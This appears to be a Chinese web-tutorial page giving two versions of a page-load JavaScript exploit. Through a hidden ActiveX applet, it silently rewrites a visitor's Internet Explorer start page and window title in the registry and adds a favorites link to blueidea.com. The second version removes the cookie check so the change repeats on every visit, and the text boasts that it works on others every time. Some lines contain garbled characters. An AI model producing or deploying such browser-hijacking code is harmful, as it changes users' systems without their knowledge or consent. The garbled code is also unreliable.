自动加入收藏夹、设为首页 (如果自己试的话,想再试多一次就要清COOKIE,如果是别人的话,就次次都行的) <script> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//this function is only needed if you add favorites or links function AddFavLnk(loc, DispName, SiteURL) { var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); Shor.TargetPath = SiteURL; Shor.Save(); } //end add favorites or links function
function f(){ try { //ActiveX initialization a1=document.applets�; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject();
try { if (document.cookie.indexOf("Chg") == -1) { //set cookie var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end set cookie
//set home page Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/"); var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end set home page
//add favorites this is the common part; should be here if you want to add favorites var WF, Shor, loc; WF = FSO.GetSpecialFolder(0); loc = WF + "\\Favorites"; if(!FSO.FolderExists(loc)) { loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; if(!FSO.FolderExists(loc)) { return; } } //end common part
//the following line is used for adding favorites. //to add multiple favorites, duplicate the following line, changing the last 2 paramaters. AddFavLnk(loc, "经典论坛", "http://www.blueidea.com"); //end add favorites
} } catch(e) {} } catch(e) {} }
function init() { setTimeout("f()", 1000); }
init();
</script>
**************************
经过修改的代码 (经过修改的代码,取消了COOKIE的限制,可以通过它修改注册表中IE的主页设置和标题项。)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>经过修改的代码</TITLE> <META NAME="Generator" CONTENT="EditPlus"> <META NAME="Author" CONTENT=""> <META NAME="Keywords" CONTENT=""> <META NAME="Description" CONTENT=""> </HEAD>
<BODY BGCOLOR="#FFFFFF"> <script> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//this function is only needed if you add favorites or links function AddFavLnk(loc, DispName, SiteURL) { var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); Shor.TargetPath = SiteURL; Shor.Save(); } //end add favorites or links function
function f(){ try { //ActiveX initialization a1=document.applets�; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject();
try { if (document.cookie.indexOf("Chg") == -1) { //set cookie var expdate = new Date((new Date()).getTime() + (1)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end set cookie
//set home page Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/"); var expdate = new Date((new Date()).getTime() + (1)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end set home page
//set IE title Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer 欢迎光临经典论坛 http://www.blueidea.com");/ var expdate = new Date((new Date()).getTime() + (1)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" //end IE title
//add favorites this is the common part; should be here if you want to add favorites var WF, Shor, loc; WF = FSO.GetSpecialFolder(0); loc = WF + "\\Favorites"; if(!FSO.FolderExists(loc)) { loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; if(!FSO.FolderExists(loc)) { return; } } //end common part
//the following line is used for adding favorites. //to add multiple favorites, duplicate the following line, changing the last 2 paramaters. AddFavLnk(loc, "经典论坛", "http://www.blueidea.com"); //end add favorites
} } catch(e) { } } catch(e) { } }
function init() { setTimeout("f()", 1000); }
init();
</script> 已经设置成功!(已经取消了时间COOKIE的限制) </BODY> </HTML>
没有相关教程
|